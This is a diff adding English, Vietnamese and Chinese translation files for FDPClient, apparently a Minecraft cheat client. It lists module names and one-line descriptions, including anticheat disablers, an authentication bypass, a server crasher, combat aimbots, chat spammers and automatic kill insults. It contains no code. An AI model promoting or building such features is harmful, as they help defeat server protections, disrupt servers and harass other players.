+module.AntiFireBall.name=AntiFireball +module.AntiFireBall.description=Hits fireballs so you dont receive damage. + +module.AntiStuck.name=AntiStuck +module.AntiStuck.description=automatic freeze you when setback + +module.AntiStaff.name=AntiStaff +module.AntiStaff.description=Detect online staff who are in your lobby + +module.AntiVanish.name=AntiVanish +module.AntiVanish.description=Shows who is vanished. + +module.AntiVoid.name=AntiVoid +module.AntiVoid.description=Pull you up when you fall into the void + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Bypasses Authentication checks + +module.KillInsults.name=KillInsults +module.KillInsults.description=Automatically insults player you killed + +module.AutoAdvertise.name=AutoAdvertise +module.AutoAdvertise.description=Keep this on, we need your support + +module.AutoArmor.name=AutoArmor +module.AutoArmor.description=Automatically equips the best armor in your inventory + +module.AutoBow.name=AutoBow +module.AutoBow.description=Automatically shoots an arrow whenever your bow is fully loaded + +module.AutoClicker.name=AutoClicker +module.AutoClicker.description=Constantly clicks when holding down a mouse button + +module.AutoDisable.name=AutoDisable +module.AutoDisable.description=Automatically disables modules + +module.AutoIgnore.name=AutoIgnore +module.AutoIgnore.description=Auto ignore spammers(only redesky) + +module.AutoLogin.name=AutoLogin +module.AutoLogin.description=Automatically login in cracked servers + +module.AutoPlay.name=AutoPlay +module.AutoPlay.description=Automatically joins a new game when the one you're playing ends + +module.AutoPot.name=AutoPot +module.AutoPot.description=Automatically throw potions + +module.AutoReport.name=AutoReport +module.AutoReport.description=Automatically reports players + +module.AutoSoup.name=AutoSoup +module.AutoSoup.description=Makes you automatically eat soup whenever your health is low + +module.AutoTool.name=AutoTool +module.AutoTool.description=Automatically selects the best tool in your inventory to mine a block + +module.AutoWeapon.name=AutoWeapon +module.AutoWeapon.description=Automatically selects the best weapon in your hotbar + +module.BanChecker.name=BanChecker + +module.BetterFPS.name=BetterFPS +module.BetterFPS.description=Make math calculate faster + +module.Blink.name=Blink +module.Blink.description=Suspends all movement packets + +module.BlockESP.name=BlockESP +module.BlockESP.description=Allows you to see a selected block through walls + +module.BlockOverlay.name=BlockOverlay +module.BlockOverlay.description=Allows you to change the design of the block overlay + +module.BoatJump.name=BoatJump +module.BoatJump.description=Allows you jump longer with a boat + +module.BowAimbot.name=BowAimbot +module.BowAimbot.description=Automatically aims at players when using a bow + +module.Breadcrumbs.name=Breadcrumbs +module.Breadcrumbs.description=Leaves a trail behind you + +module.CameraClip.name=CameraClip +module.CameraClip.description=Allows you to see through walls in third person view + +module.CapeManager.name=CapeManager +module.CapeManager.description=Manage your capes + +module.Chams.name=Chams +module.Chams.description=Allows you to see targets through blocks + +module.ChatBypass.name=ChatBypass +module.ChatBypass.description=Bypasses chat limit + +module.ChatTranslator.name=ChatTranslator +module.ChatTranslator.description=Translate words in chat + +module.ChestAura.name=ChestAura +module.ChestAura.description=Automatically opens chests around you + +module.Stealer.name=Stealer +module.Stealer.description=Automatically steals all items from a chest + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Opens the ClickGUI + +module.Clip.name=Clip +module.Clip.description=Allows you to clip through blocks + +module.Criticals.name=Criticals +module.Criticals.description=Automatically deals critical hits + +module.DamageParticle.name=DamageParticle +module.DamageParticle.description=Allows you to see targets damage + +module.DiscordRPC.name=DiscordRPC +module.DiscordRPC.description=Show RPC For Discord + +module.Disabler.name=Disabler +module.Disabler.description=Disable anticheats + +module.ESP.name=ESP +module.ESP.description=Allows you to see targets through walls + +module.Eagle.name=Eagle +module.Eagle.description=Makes you eagle (aka. FastBridge) + +module.Glint.name=Glint +module.Glint.description=Customize colour of enchants + +module.FakeDead.name=FakeDead + +module.FastBreak.name=FastBreak +module.FastBreak.description=Allows you to break blocks faster + +module.FastPlace.name=FastPlace +module.FastPlace.description=Allows you to place blocks faster + +module.FastUse.name=FastUse +module.FastUse.description=Allows you to use items faster + +module.Fly.name=Fly +module.Fly.description=Allows you to fly in survival mode + +module.FreeCam.name=FreeCam +module.FreeCam.description=Allows you to move out of your body + +module.Freeze.name=Freeze +module.Freeze.description=Allows you to stay stuck in mid air + +module.Fucker.name=Fucker +module.Fucker.description=Destroys selected blocks around you + +module.Gapple.name=Gapple +module.Gapple.description=Automatically eats gapples + +module.GhostHand.name=GhostHand +module.GhostHand.description=Allows you to inetract with selected blocks through walls + +module.HUD.name=HUD +module.HUD.description=Toggles visibility of the HUD + +module.HackerDetector.name=HackerDetector +module.HackerDetector.description=Detect SIGMA Hackers + +module.HealthWarn.name=HealthWarn +module.HealthWarn.description=Shows warning when you are in a low health + +module.HighJump.name=HighJump +module.HighJump.description=Allows you to jump higher + +module.HitBox.name=HitBox +module.HitBox.description=Makes hitboxes of targets bigger + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Opens the HudDesigner + +module.HurtCam.name=HurtCam +module.HurtCam.description=Changes the hurt cam effect + +module.InfiniteAura.name=InfiniteAura +module.InfiniteAura.description=Hits enemies from far away + +module.InvManager.name=InvManager +module.InvManager.description=Automatically throws away useless items and sort your inventory + +module.InventoryMove.name=InventoryMove +module.InventoryMove.description=Allows you to walk while an inventory is opened + +module.ItemESP.name=ItemESP +module.ItemESP.description=Allows you to see items through walls + +module.KeyBindManager.name=KeyBindManager +module.KeyBindManager.description=Opens the KeyBindManager + +module.Kick.name=Kick +module.Kick.description=Allows you to kick yourself from a server + +module.KillAura.name=KillAura +module.KillAura.description=Automatically attacks targets around you + +module.LegitSpoof.name=LegitSpoof +module.LegitSpoof.description=Spoofs some things so it seems that you're legit + +module.LightningDetect.name=LightningDetect +module.LightningDetect.description=Checks where lightning is spawning + +module.Jesus.name=Jesus +module.Jesus.description=Allows you to walk on water + +module.LongJump.name=LongJump +module.LongJump.description=Allows you to jump further + +module.MessageSpam.name=MessageSpam +module.MessageSpam.description=Spams messages(only redesky) + +module.MurderDetector.name=MurderDetector +module.MurderDetector.description=Murder Detector Killer + +module.MidClick.name=MidClick +module.MidClick.description=Allows you to add a player as a friend by right clicking him. + +module.KeyPearl.name=KeyPearl +module.KeyPearl.description=Allows you to throw an ender pearl from hotbar by pressing a key. (Use .bind for this module) + +module.NameProtect.name=NameProtect +module.NameProtect.description=Changes playernames clientside + +module.NameTags.name=NameTags +module.NameTags.description=Changes the scale of the nametags so you can always read them + +module.NoBob.name=NoBob +module.NoBob.description=Disables the view bobbing effect + +module.NoFOV.name=NoFOV +module.NoFOV.description=Disables FOV changes caused by speed effect, etc + +module.NoFall.name=NoFall +module.NoFall.description=Prevents you from taking fall damage + +module.NoJumpDelay.name=NoJumpDelay +module.NoJumpDelay.description=Removes delay between jumps + +module.NoRotateSet.name=NoRotateSet +module.NoRotateSet.description=Prevents the server from rotating your head + +module.NoSlow.name=NoSlow +module.NoSlow.description=Cancels slowness effects caused by soulsand and using items + +module.NoSlowBreak.name=NoSlowBreak +module.NoSlowBreak.description=Automatically adjusts breaking speed when using modules that influence it + +module.NoWeb.name=NoWeb +module.NoWeb.description=Prevents you from getting slowed down in webs + +module.Parkour.name=Parkour +module.Parkour.description=Automatically jumps when reaching the edge of a block + +module.Phase.name=Phase +module.Phase.description=Allows you to walk through blocks + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Spoofs your ping to a given value + +module.Plugins.name=Plugins +module.Plugins.description=Allows you to see which plugins the server is using + +module.PointerESP.name=PointerESP +module.PointerESP.description=Show the pointers around your crossing + +module.PrevFallPos.name=PrevFallPos +module.PrevFallPos.description=Preview your falldown position + +module.Projectiles.name=Projectiles +module.Projectiles.description=Allows you to see where arrows will land + +module.Reach.name=Reach +module.Reach.description=Increases your reach + +module.Regen.name=Regen +module.Regen.description=Regenerates your health much faster + +module.Rotations.name=Rotations +module.Rotations.description=Rotation settings + +module.SafeWalk.name=SafeWalk +module.SafeWalk.description=Prevents you from falling down as if you were sneaking + +module.Scaffold.name=Scaffold +module.Scaffold.description=Automatically places blocks beneath your feet + +module.ServerCrasher.name=ServerCrasher +module.ServerCrasher.description=Allows you to crash certain server + +module.Spammer.name=Spammer +module.Spammer.description=Spams the chat with a given message + +module.Speed.name=Speed +module.Speed.description=Allows you to move faster + +module.Sprint.name=Sprint +module.Sprint.description=Automatically sprints all the time + +module.Step.name=Step +module.Step.description=Allows you to step up blocks + +module.StorageESP.name=StorageESP +module.StorageESP.description=Allows you to see chests, dispensers, etc. through walls + +module.Strafe.name=Strafe +module.Strafe.description=Allows you to freely move in mid air + +module.SuperKnockback.name=SuperKnockback +module.SuperKnockback.description=Increases knockback dealt to other entities + +module.Target.name=Target +module.Target.description=Target settings + +module.Teams.name=Teams +module.Teams.description=Prevents Killaura from attacking team mates + +module.Teleport.name=Teleport +module.Teleport.description=Allows you to teleport around + +module.Timer.name=Timer +module.Timer.description=Changes the speed of the entire game + +module.SoundModule.name=SoundModule +module.SoundModule.description=Change global module settings + +module.Tracers.name=Tracers +module.Tracers.description=Draws a line to targets around you + +module.TrueSight.name=TrueSight +module.TrueSight.description=Allows you to see invisible entities and barriers + +module.Velocity.name=Velocity +module.Velocity.description=Allows you to modify the amount of knockback taken + +module.XRay.name=XRay +module.XRay.description=Allows you to see selected blocks through walls + +module.Crosshair.name=Crosshair +module.Crosshair.description=Change a better crosshair + +module.Damage.name=Damage +module.Damage.description=Allows you to damage yourself + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=A beautiful hat + +module.Skeletal.name=Skeletal +module.Skeletal.description=ESP like skeletons + +module.Spider.name=Spider +module.Spider.description=Makes you move like a spider + +module.NoAchievements.name=NoAchievements +module.NoAchievements.description=Disable alert when you earn a achievement + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Strafe around your target + +module.HitEffect.name=HitEffect +module.HitEffect.description=Display a effect when you hit a player + +module.SilentDisconnect.name=SilentDisconnect +module.SilentDisconnect.description=Don't display GuiDisconnect when you disconnected from the server + +module.Performance.name=Performance +module.Performance.description=Make the game faster + +module.Glide.name=Glide +module.Glide.description=Makes you fall slower in survival mode + +module.ServerSwitcher.name=ServerSwitcher +module.ServerSwitcher.description=Switch servers without having to go to the Main Menu + +module.Wings.name=Wings +module.Wings.description=Wings + +module.AntiExploit.name=AntiExploit +module.AntiExploit.description=Prevent servers from doing certain harmful things + +module.CustomDisabler.name=CustomDisabler +module.CustomDisabler.description=Disabler but fully customizable + +module.NoInvClose.name=NoInvClose +module.NoInvClose.description=Stops server from closing your Inventory + +module.ComboOneHit.name=ComboOneHit +module.ComboOneHit.description=Automatically deals hits within one click. Only works if no attack delay is present + +module.FastBow.name=FastBow +module.FastBow.description=Turns your bow into a machine gun + +module.AutoFriend.name=AutoFriend +module.AutoFriend.description=Automatically add Staffs from any server + +module.Spoofer.name=Spoofer +module.Spoofer.description=Spoofer for simulation of Minecraft legit clients + +module.FDPScriptManager.name=FDPScriptManager +module.FDPScriptManager.description=Script Loader + +module.NoRender.name=NoRender +module.NoRender.description=Increase FPS by decreasing or stop rendering visible entities + +module.Particles.name=Particles +module.Particles.description=Send Particles when hit + +module.FollowTargetHud.name=FollowTargetHud +module.FollowTargetHud.description=FollowTargetHud + +module.ItemMagnet.name=ItemMagnet +module.ItemMagnet.description=Allows you to pick up items far away by teleporting + +module.KillESP.name=KillESP +module.KillESP.description=KillESP + +module.ItemPhysics.name=ItemPhysics +module.ItemPhysics.description=newton hits + +module.Fisher.name=Fisher +module.Fisher.description=Automatically fishing + +module.SpeedMine.name=SpeedMine +module.SpeedMine.description=Fast mine + +module.PackSpoofer.name=PackSpoofer +module.PackSpoofer.description=Prevents servers from forcing you to download their resource pack + +module.Nuker.name=Nuker +module.Nuker.description=Breaks all blocks around you + +module.GlowESP.name=GlowESP +module.GlowESP.description=Glow in Entitys + +module.SuperheroFX.name=SuperheroFX +module.SuperheroFX.description=Creates comic-like words as flying particles + +module.ESP2D.name=ESP2D +module.ESP2D.description=ESP2D + +module.Radar.name=Radar +module.Radar.description=Entity but radar + +module.BowJump.name=BowJump +module.BowJump.description=Allows you to jump further with auto bow shoot. + +module.MultiActions.name=MultiActions +module.MultiActions.description=Allows you to use items while breaking blocks. + +module.HudShadows.name=HudShadows +module.HudShadows.description=Lets you change settings about shadow/glow + +module.PacketDebugger.name=PacketDebugger +module.PacketDebugger.description=Displays selected packets and their fields on chat bar. + +module.Hotbar.name=Hotbar +module.Hotbar.description=Styles Hotbar + +module.JumpCircles.name=JumpCircles +module.JumpCircles.description=Circles Animations + +module.NoClickDelay.name=NoClickDelay +module.NoClickDelay.description=Removes 1.8 hit delay when missing (1.7 combat) + +module.FightBot.name=FightBot +module.FightBot.description=Shitcode + +module.JumpCircle.name=JumpCircle +module.JumpCircle.description=Draws a Circle when you jump! + +module.ToggleSprint.name=ToggleSprint +module.ToggleSprint.description=Toggles sprint + +module.LegitReach.name=LegitReach +module.PerspectiveMod.description=Creates a duplicate of a player in an old position + +module.RemoveEffect.name=RemoveEffect +module.RemoveEffect.description=Removes Effects + +module.InfiniteDurability.name=InfiniteDurability +module.InfiniteDurability.description=Switches items before you use so the durability never goes down + +module.Ghostblocks.name=Ghostblocks +module.Ghostblocks.description=Any blocks you place will not be modified until a certain amount of time + + + diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/vi-VI/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/vi-VI/source.properties new file mode 100644 index 0000000..1ec3b88 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/vi-VI/source.properties @@ -0,0 +1,472 @@ +# Translated by Liuli +ui.altmanager=AltManager +ui.mods=Mods +ui.background=Background +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=Reconnect +ui.changelog=ChangeLog + +ui.back=Back +ui.status=Status +ui.on=On +ui.off=Off + +ui.serverSpoof.address=Server Address + +ui.proxy.screen=Proxy Manager +ui.proxy.address=Address +ui.proxy.type=Proxy Type + +ui.background.gtype=Type +ui.background.gcurrent=Current +ui.background.ganimated=Animated +ui.background.particles=Particles +ui.background.change=Change wallpaper +ui.background.reset=Reset wallpaper + +ui.chest.stealing=Stealing Chest +ui.chest.disable=Disable %s + +ui.gameover.close=Hide This Screen + +ui.disconnect.randomAlt=Random Alt +ui.disconnect.randomOffline=Random Offline + +ui.update.released=FDPClient %s is available\! +ui.update.dismiss=Dismiss +ui.update.download=Download + +ui.keybind.title=KeyBind Manager +ui.keybind.select=Select a module to bind +ui.keybind.addMacro=Press ENTER to add macro. +ui.keybind.add=+ Add +ui.keybind.key=%s Key +ui.keybind.search=Search... + +ui.alt.idle=Idle... +ui.alt.nameChanged=§cYour name is now §8 %s §c. +ui.alt.error=Occurred an error\: %s +ui.alt.login=Login +ui.alt.add=Add +ui.alt.remove=Remove +ui.alt.import=Import +ui.alt.directLogin=Direct Login +ui.alt.msLogin=Microsoft Login +ui.alt.copy=Copy +ui.alt.alts=%d Alts +ui.alt.username=§7User\: §a %s +ui.alt.type=§7Type\: §a %s +ui.alt.type.premium=Premium +ui.alt.type.cracked=Cracked +ui.alt.removed=The account has been removed. +ui.alt.needSelect=Select an account. +ui.alt.copied=Copied account into your clipboard. +ui.alt.imported=The accounts were imported successfully. +ui.alt.emptyList=The list is empty. +ui.alt.loggingIn=Logging in... +ui.alt.clipBoardLogin=Clipboard Login +ui.alt.fillBoth=You have to fill in both fields\! +ui.alt.readFailed=Clipboard flavor unsupported\! +ui.alt.invalidClipData=Invalid clipboard data. (Use\: E-Mail\:Password) +ui.alt.loginUsername=Username / E-Mail +ui.alt.loginPassword=Password +ui.alt.alreadyAdded=The account has already been added. +ui.alt.notWorking=The account doesn't work. +ui.alt.checking=Checking... +ui.alt.randomAltField=Rule of random alts + +ui.scaffold.blocks=Blocks > %d + +notify.module.title=Module +notify.module.enable=Enabled %s +notify.module.disable=Disabled %s + +module.category.combat=Combat +module.category.player=Player +module.category.movement=Movement +module.category.visual=Visual +module.category.client=Client +module.category.world=World +module.category.other=Other +module.category.exploit=Exploit + +module.Aimbot.name=Aimbot +module.Aimbot.description=Automatically faces selected entities around you + +module.Ambience.name=Ambience +module.Ambience.description=Change the world environment + +module.Animations.name=Animations +module.Animations.description=Render sword while blocking and inventory animation + +module.AntiAim.name=AntiAim +module.AntiAim.description=AntiAim like CSGO cheats + +module.AntiBlind.name=AntiBlind +module.AntiBlind.description=Cancels blindness effects + +module.AntiBot.name=AntiBot +module.AntiBot.description=Prevents KillAura from attacking AntiCheat bots + +module.AntiFireBall.name=AntiFireball +module.AntiFireBall.description=Hits fireballs so you dont receive damage. + +module.AntiStuck.name=AntiStuck +module.AntiStuck.description=automatic freeze you when setback + +module.AntiVanish.name=AntiVanish +module.AntiVanish.description=Shows who is vanished. + +module.AntiVoid.name=AntiVoid +module.AntiVoid.description=Pull you up when you fall into the void + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Bypasses Authentication checks + +module.KillInsults.name=KillInsults +module.KillInsults.description=Automatically insults player you killed + +module.AutoAdvertise.name=AutoAdvertise +module.AutoAdvertise.description=Keep this on, we need your support + +module.AutoArmor.name=AutoArmor +module.AutoArmor.description=Automatically equips the best armor in your inventory + +module.AutoBow.name=AutoBow +module.AutoBow.description=Automatically shoots an arrow whenever your bow is fully loaded + +module.AutoClicker.name=AutoClicker +module.AutoClicker.description=Constantly clicks when holding down a mouse button + +module.AutoDisable.name=AutoDisable +module.AutoDisable.description=Automatically disables modules + +module.AutoIgnore.name=AutoIgnore +module.AutoIgnore.description=Auto ignore spammers(only redesky) + +module.AutoLogin.name=AutoLogin +module.AutoLogin.description=Automatically login in cracked servers + +module.AutoPlay.name=AutoPlay +module.AutoPlay.description=Automatically joins a new game when the one you're playing ends + +module.AutoPot.name=AutoPot +module.AutoPot.description=Automatically throw potions + +module.AutoReport.name=AutoReport +module.AutoReport.description=Automatically reports players + +module.AutoSoup.name=AutoSoup +module.AutoSoup.description=Makes you automatically eat soup whenever your health is low + +module.AutoTool.name=AutoTool +module.AutoTool.description=Automatically selects the best tool in your inventory to mine a block + +module.AutoWeapon.name=AutoWeapon +module.AutoWeapon.description=Automatically selects the best weapon in your hotbar + +module.BanChecker.name=BanChecker + +module.BetterFPS.name=BetterFPS +module.BetterFPS.description=Make math calculate faster + +module.Blink.name=Blink +module.Blink.description=Suspends all movement packets + +module.BlockESP.name=BlockESP +module.BlockESP.description=Allows you to see a selected block through walls + +module.BlockOverlay.name=BlockOverlay +module.BlockOverlay.description=Allows you to change the design of the block overlay + +module.BoatJump.name=BoatJump +module.BoatJump.description=Allows you jump longer with a boat + +module.BowAimbot.name=BowAimbot +module.BowAimbot.description=Automatically aims at players when using a bow + +module.Breadcrumbs.name=Breadcrumbs +module.Breadcrumbs.description=Leaves a trail behind you + +module.CameraClip.name=CameraClip +module.CameraClip.description=Allows you to see through walls in third person view + +module.CapeManager.name=CapeManager +module.CapeManager.description=Manage your capes + +module.Chams.name=Chams +module.Chams.description=Allows you to see targets through blocks + +module.ChatBypass.name=ChatBypass +module.ChatBypass.description=Bypasses chat limit + +module.ChatTranslator.name=ChatTranslator +module.ChatTranslator.description=Translate words in chat + +module.ChestAura.name=ChestAura +module.ChestAura.description=Automatically opens chests around you + +module.ChestStealer.name=ChestStealer +module.ChestStealer.description=Automatically steals all items from a chest + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Opens the ClickGUI + +module.Clip.name=Clip +module.Clip.description=Allows you to clip through blocks + +module.Criticals.name=Criticals +module.Criticals.description=Automatically deals critical hits + +module.DamageParticle.name=DamageParticle +module.DamageParticle.description=Allows you to see targets damage + +module.Disabler.name=Disabler +module.Disabler.description=Disable anticheats + +module.ESP.name=ESP +module.ESP.description=Allows you to see targets through walls + +module.Eagle.name=Eagle +module.Eagle.description=Makes you eagle (aka. FastBridge) + +module.Glint.name=Glint +module.Glint.description=Customize color of enchants + +module.FakeDead.name=FakeDead + +module.FastBreak.name=FastBreak +module.FastBreak.description=Allows you to break blocks faster + +module.FastPlace.name=FastPlace +module.FastPlace.description=Allows you to place blocks faster + +module.FastUse.name=FastUse +module.FastUse.description=Allows you to use items faster + +module.Fly.name=Fly +module.Fly.description=Allows you to fly in survival mode + +module.FreeCam.name=FreeCam +module.FreeCam.description=Allows you to move out of your body + +module.Freeze.name=Freeze +module.Freeze.description=Allows you to stay stuck in mid air + +module.Fucker.name=Fucker +module.Fucker.description=Destroys selected blocks around you + +module.Gapple.name=Gapple +module.Gapple.description=Automatically eats gapples + +module.GhostHand.name=GhostHand +module.GhostHand.description=Allows you to inetract with selected blocks through walls + +module.HUD.name=HUD +module.HUD.description=Toggles visibility of the HUD + +module.HackerDetector.name=HackerDetector +module.HackerDetector.description=Detect SIGMA Hackers + +module.HealthWarn.name=HealthWarn +module.HealthWarn.description=Shows warning when you are in a low health + +module.HighJump.name=HighJump +module.HighJump.description=Allows you to jump higher + +module.HitBox.name=HitBox +module.HitBox.description=Makes hitboxes of targets bigger + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Opens the HudDesigner + +module.HurtCam.name=HurtCam +module.HurtCam.description=Changes the hurt cam effect + +module.InfiniteAura.name=InfiniteAura +module.InfiniteAura.description=Hits enemies from far away + +module.InventoryCleaner.name=InventoryCleaner +module.InventoryCleaner.description=Automatically throws away useless items and sort your inventory + +module.InventoryMove.name=InventoryMove +module.InventoryMove.description=Allows you to walk while an inventory is opened + +module.ItemESP.name=ItemESP +module.ItemESP.description=Allows you to see items through walls + +module.KeyBindManager.name=KeyBindManager +module.KeyBindManager.description=Opens the KeyBindManager + +module.Kick.name=Kick +module.Kick.description=Allows you to kick yourself from a server + +module.KillAura.name=KillAura +module.KillAura.description=Automatically attacks targets around you + +module.LegitSpoof.name=LegitSpoof +module.LegitSpoof.description=Spoofs some things so it seems that you're legit + +module.LightningDetect.name=LightningDetect +module.LightningDetect.description=Checks where lightning is spawning + +module.Jesus.name=Jesus +module.Jesus.description=Allows you to walk on water + +module.LongJump.name=LongJump +module.LongJump.description=Allows you to jump further + +module.MessageSpam.name=MessageSpam +module.MessageSpam.description=Spams messages(only redesky) + +module.MidClick.name=MidClick +module.MidClick.description=Allows you to add a player as a friend by right clicking him. + +module.NameProtect.name=NameProtect +module.NameProtect.description=Changes playernames clientside + +module.NameTags.name=NameTags +module.NameTags.description=Changes the scale of the nametags so you can always read them + +module.NoBob.name=NoBob +module.NoBob.description=Disables the view bobbing effect + +module.NoFOV.name=NoFOV +module.NoFOV.description=Disables FOV changes caused by speed effect, etc + +module.NoFall.name=NoFall +module.NoFall.description=Prevents you from taking fall damage + +module.NoJumpDelay.name=NoJumpDelay +module.NoJumpDelay.description=Removes delay between jumps + +module.NoRotateSet.name=NoRotateSet +module.NoRotateSet.description=Prevents the server from rotating your head + +module.NoSlow.name=NoSlow +module.NoSlow.description=Cancels slowness effects caused by soulsand and using items + +module.NoSlowBreak.name=NoSlowBreak +module.NoSlowBreak.description=Automatically adjusts breaking speed when using modules that influence it + +module.NoWeb.name=NoWeb +module.NoWeb.description=Prevents you from getting slowed down in webs + +module.Parkour.name=Parkour +module.Parkour.description=Automatically jumps when reaching the edge of a block + +module.Phase.name=Phase +module.Phase.description=Allows you to walk through blocks + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Spoofs your ping to a given value + +module.Plugins.name=Plugins +module.Plugins.description=Allows you to see which plugins the server is using + +module.PointerESP.name=PointerESP +module.PointerESP.description=Show the pointers around your crossing + +module.PrevFallPos.name=PrevFallPos +module.PrevFallPos.description=Preview your falldown position + +module.Projectiles.name=Projectiles +module.Projectiles.description=Allows you to see where arrows will land + +module.Reach.name=Reach +module.Reach.description=Increases your reach + +module.Regen.name=Regen +module.Regen.description=Regenerates your health much faster + +module.Rotations.name=Rotations +module.Rotations.description=Rotation settings + +module.SafeWalk.name=SafeWalk +module.SafeWalk.description=Prevents you from falling down as if you were sneaking + +module.Scaffold.name=Scaffold +module.Scaffold.description=Automatically places blocks beneath your feet + +module.ServerCrasher.name=ServerCrasher +module.ServerCrasher.description=Allows you to crash certain server + +module.Spammer.name=Spammer +module.Spammer.description=Spams the chat with a given message + +module.Speed.name=Speed +module.Speed.description=Allows you to move faster + +module.Sprint.name=Sprint +module.Sprint.description=Automatically sprints all the time + +module.Step.name=Step +module.Step.description=Allows you to step up blocks + +module.StorageESP.name=StorageESP +module.StorageESP.description=Allows you to see chests, dispensers, etc. through walls + +module.Strafe.name=Strafe +module.Strafe.description=Allows you to freely move in mid air + +module.SuperKnockback.name=SuperKnockback +module.SuperKnockback.description=Increases knockback dealt to other entities + +module.Target.name=Target +module.Target.description=Target settings + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Strafe around your target + +module.Teams.name=Teams +module.Teams.description=Prevents Killaura from attacking team mates + +module.Teleport.name=Teleport +module.Teleport.description=Allows you to teleport around + +module.Timer.name=Timer +module.Timer.description=Changes the speed of the entire game + +module.Modules.name=Modules +module.Modules.description=Change global module settings + +module.Tracers.name=Tracers +module.Tracers.description=Draws a line to targets around you + +module.TrueSight.name=TrueSight +module.TrueSight.description=Allows you to see invisible entities and barriers + +module.Velocity.name=Velocity +module.Velocity.description=Allows you to modify the amount of knockback taken + +module.XRay.name=XRay +module.XRay.description=Allows you to see selected blocks through walls + +module.Crosshair.name=Crosshair +module.Crosshair.description=Change a better crosshair + +module.Damage.name=Damage +module.Damage.description=Allows you to damage yourself + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=A beautiful hat + +module.Skeletal.name=Skeletal +module.Skeletal.description=ESP like skeletons + +module.Spider.name=Spider +module.Spider.description=Makes you move like a spider + +module.NoAchievements.name=NoAchievements +module.NoAchievements.description=Disable alert when you earn a achievement + + +module.HitEffect.name=HitEffect +module.HitEffect.description=Display a effect when you hit a player + +module.SilentDisconnect.name=SilentDisconnect +module.SilentDisconnect.description=Don't display GuiDisconnect when you disconnected from the server + +module.Performance.name=Performance +module.Performance.description=Make the game faster diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/zh-CN/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/zh-CN/source.properties new file mode 100644 index 0000000..3d4cd92 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/zh-CN/source.properties @@ -0,0 +1,479 @@ +# Translated by Liuli +ui.altmanager=帐号管理器 +ui.mods=模组 +ui.background=背景 +ui.serverSpoof=服务器欺骗机 +ui.antiForge=Forge伪装 +ui.reconnect=重连 +ui.changelog=更改日志 + +ui.back=返回 +ui.status=状态 +ui.on=开启 +ui.off=关闭 + +ui.serverSpoof.address=服务器地址 + +ui.proxy.screen=代理管理器 +ui.proxy.address=地址 +ui.proxy.type=代理类型 + +ui.background.gtype=类型 +ui.background.gcurrent=现在的 +ui.background.ganimated=生动的 +ui.background.particles=粒子 +ui.background.change=更改画面背景 +ui.background.reset=重置画面背景 + +ui.chest.stealing=偷箱子中 +ui.chest.disable=禁用 %s + +ui.gameover.close=隐藏此屏幕 + +ui.disconnect.randomAlt=随机账户 +ui.disconnect.randomOffline=随机离线名 + +ui.update.released=FDPClient %s 已可用\! +ui.update.dismiss=不予考虑 +ui.update.download=现在下载 + +ui.keybind.title=按键绑定管理器 +ui.keybind.select=选择一个模块绑定 +ui.keybind.addMacro=按下ENTER键添加新的绑定 +ui.keybind.add=+ 添加 +ui.keybind.key=%s键 +ui.keybind.search=搜索... + +ui.alt.idle=等待... +ui.alt.nameChanged=§c你的名字现在是§8%s§c了 +ui.alt.error=错误\: %s +ui.alt.login=登录 +ui.alt.add=添加 +ui.alt.remove=移除 +ui.alt.import=导入 +ui.alt.directLogin=直接登录 +ui.alt.msLogin=微软登录 +ui.alt.copy=拷贝 +ui.alt.alts=%d个帐号 +ui.alt.username=§7用户名\: §a %s +ui.alt.type=§7类型\: §a %s +ui.alt.type.premium=正版 +ui.alt.type.cracked=离线 +ui.alt.removed=成功移除帐号 +ui.alt.needSelect=请选择一个帐号 +ui.alt.copied=成功拷贝帐号 +ui.alt.imported=成功导入帐号 +ui.alt.emptyList=帐号列表是空的 +ui.alt.loggingIn=登录中... +ui.alt.clipBoardLogin=剪切板登录 +ui.alt.fillBoth=你需要输入帐号和密码! +ui.alt.readFailed=剪切板读取失败! +ui.alt.invalidClipData=剪切板帐号解析失败 (格式\: 邮箱\:密码) +ui.alt.loginUsername=用户名 / 邮箱 +ui.alt.loginPassword=密码 +ui.alt.alreadyAdded=这个帐号已经存在于列表中了 +ui.alt.notWorking=帐号登录失败 +ui.alt.checking=验证中... +ui.alt.randomAltField=随机用户名规则 + +ui.scaffold.blocks=剩余方块 > %d + +notify.module.title=模块 +notify.module.enable=开启模块 %s +notify.module.disable=关闭模块 %s + +module.category.combat=战斗 +module.category.player=玩家 +module.category.movement=移动 +module.category.visual=渲染 +module.category.client=设置 +module.category.world=世界 +module.category.other=其他 +module.category.exploit=漏洞 + +module.Aimbot.name=自动瞄准 +module.Aimbot.description=自动瞄准你身边的目标 + +module.Ambience.name=环境 +module.Ambience.description=改变世界环境 + +module.Animations.name=动画 +module.Animations.description=渲染物品栏和防砍动画 + +module.AntiAim.name=大陀螺 +module.AntiAim.description=像CS.GO一样的陀螺 + +module.AntiBlind.name=防失明 +module.AntiBlind.description=移除失明效果 + +module.AntiBot.name=防假人 +module.AntiBot.description=防止杀戮光环攻击假人 + +module.AntiFireBall.name=防火焰弹 +module.AntiFireBall.description=自动将火焰弹打回去 + +module.AntiStuck.name=防卡回弹 +module.AntiStuck.description=自动帮你解除卡住的状态 + + +module.AntiStaff.name=防客服 +module.AntiStaff.description=检测同一局内在线的客服 + +module.AntiVanish.name=防消失 +module.AntiVanish.description=防止玩家消失 + +module.AntiVoid.name=防掉虚空 +module.AntiVoid.description=防止你掉入虚空 + +module.AuthBypass.name=绕过验证 +module.AuthBypass.description=自动绕过服务器的假人验证 + +module.KillInsults.name=自动骂人 +module.KillInsults.description=自动骂你杀的人 + 